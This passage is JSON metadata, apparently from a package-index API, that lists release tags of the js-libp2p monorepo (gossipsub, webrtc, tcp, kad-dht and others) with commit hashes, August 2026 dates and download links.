"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.21/manifests"},{"name":"gossipsub-v17.1.0","sha":"822e215c9591237bfef1fe0f6fda627b054f3a2e","kind":"commit","published_at":"2026-08-27T23:31:39.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/gossipsub-v17.1.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v17.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@gossipsub-v17.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v17.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v17.1.0/manifests"},{"name":"daemon-v6.0.37","sha":"822e215c9591237bfef1fe0f6fda627b054f3a2e","kind":"commit","published_at":"2026-08-27T23:31:39.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.37","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.37","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.37","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.37/manifests"},{"name":"daemon-server-v9.0.37","sha":"822e215c9591237bfef1fe0f6fda627b054f3a2e","kind":"commit","published_at":"2026-08-27T23:31:39.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.37","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.37","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.37","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.37/manifests"},{"name":"daemon-client-v10.0.37","sha":"822e215c9591237bfef1fe0f6fda627b054f3a2e","kind":"commit","published_at":"2026-08-27T23:31:39.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.37","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.37","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.37","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.37/manifests"},{"name":"webtransport-v6.0.36","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.36","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.36/manifests"},{"name":"websockets-v10.1.20","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/websockets-v10.1.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/websockets-v10.1.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@websockets-v10.1.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.20/manifests"},{"name":"webrtc-v6.0.30","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webrtc-v6.0.30","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webrtc-v6.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webrtc-v6.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.30/manifests"},{"name":"utils-v7.4.0","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/utils-v7.4.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/utils-v7.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@utils-v7.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.4.0/manifests"},{"name":"upnp-nat-v4.0.27","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/upnp-nat-v4.0.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/upnp-nat-v4.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@upnp-nat-v4.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.27/manifests"},{"name":"transport-interop-libp2p-main-v1.0.37","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.37","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.37","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.37","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.37/manifests"},{"name":"tls-v3.1.9","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tls-v3.1.9","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tls-v3.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tls-v3.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.9/manifests"},{"name":"tcp-v11.0.27","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tcp-v11.0.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tcp-v11.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tcp-v11.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.27/manifests"},{"name":"simple-metrics-v2.0.21","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/simple-metrics-v2.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/simple-metrics-v2.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@simple-metrics-v2.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.21/manifests"},{"name":"prometheus-metrics-v5.0.28","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/prometheus-metrics-v5.0.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/prometheus-metrics-v5.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@prometheus-metrics-v5.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.28/manifests"},{"name":"pnet-v3.0.28","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/pnet-v3.0.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/pnet-v3.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@pnet-v3.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.28/manifests"},{"name":"plaintext-v3.0.27","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/plaintext-v3.0.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/plaintext-v3.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@plaintext-v3.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.27/manifests"},{"name":"ping-v3.1.12","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/ping-v3.1.12","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/ping-v3.1.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@ping-v3.1.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.12/manifests"},{"name":"perf-v5.1.12","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/perf-v5.1.12","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/perf-v5.1.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@perf-v5.1.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.12/manifests"},{"name":"peer-store-v12.0.27","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-store-v12.0.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-store-v12.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.27/manifests"},{"name":"peer-record-v9.0.16","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-record-v9.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-record-v9.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-record-v9.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.16/manifests"},{"name":"peer-id-v6.0.15","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-id-v6.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-id-v6.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-id-v6.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.15/manifests"},{"name":"peer-collections-v7.0.27","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-collections-v7.0.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-collections-v7.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-collections-v7.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.27/manifests"},{"name":"opentelemetry-metrics-v2.0.28","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/opentelemetry-metrics-v2.0.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/opentelemetry-metrics-v2.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@opentelemetry-metrics-v2.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.28/manifests"},{"name":"multistream-select-v7.0.27","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/multistream-select-v7.0.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/multistream-select-v7.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@multistream-select-v7.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.27/manifests"},{"name":"mplex-v12.0.30","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mplex-v12.0.30","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mplex-v12.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mplex-v12.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.30/manifests"},{"name":"memory-v2.0.27","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/memory-v2.0.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/memory-v2.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@memory-v2.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.27/manifests"},{"name":"mdns-v12.0.30","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mdns-v12.0.30","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mdns-v12.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mdns-v12.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.30/manifests"},{"name":"logger-v6.2.13","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/logger-v6.2.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/logger-v6.2.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@logger-v6.2.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.13/manifests"},{"name":"libp2p-v3.3.9","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/libp2p-v3.3.9","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/libp2p-v3.3.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@libp2p-v3.3.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.9/manifests"},{"name":"keychain-v6.1.7","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/keychain-v6.1.7","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/keychain-v6.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@keychain-v6.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.1.7/manifests"},{"name":"kad-dht-v16.4.4","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/kad-dht-v16.4.4","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/kad-dht-v16.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@kad-dht-v16.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.4.4/manifests"},{"name":"interop-v14.0.36","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.36","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.36/manifests"},{"name":"interface-v3.3.0","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-v3.3.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-v3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-v3.3.0/manifests"},{"name":"interface-internal-v3.1.12","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-internal-v3.1.12","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-internal-v3.1.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-internal-v3.1.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.12/manifests"},{"name":"interface-compliance-tests-v7.0.30","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-compliance-tests-v7.0.30","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-compliance-tests-v7.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-compliance-tests-v7.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.30/manifests"},{"name":"integration-tests-v1.2.20","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.20/manifests"},{"name":"identify-v4.1.13","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/identify-v4.1.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/identify-v4.1.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@identify-v4.1.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.13/manifests"},{"name":"gossipsub-v17.0.1","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/gossipsub-v17.0.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v17.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@gossipsub-v17.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v17.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v17.0.1/manifests"},{"name":"floodsub-v11.0.29","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/floodsub-v11.0.29","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/floodsub-v11.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@floodsub-v11.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.29/manifests"},{"name":"fetch-v4.1.12","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/fetch-v4.1.12","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/fetch-v4.1.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@fetch-v4.1.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.12/manifests"},{"name":"echo-v3.1.12","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/echo-v3.1.12","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/echo-v3.1.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@echo-v3.1.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1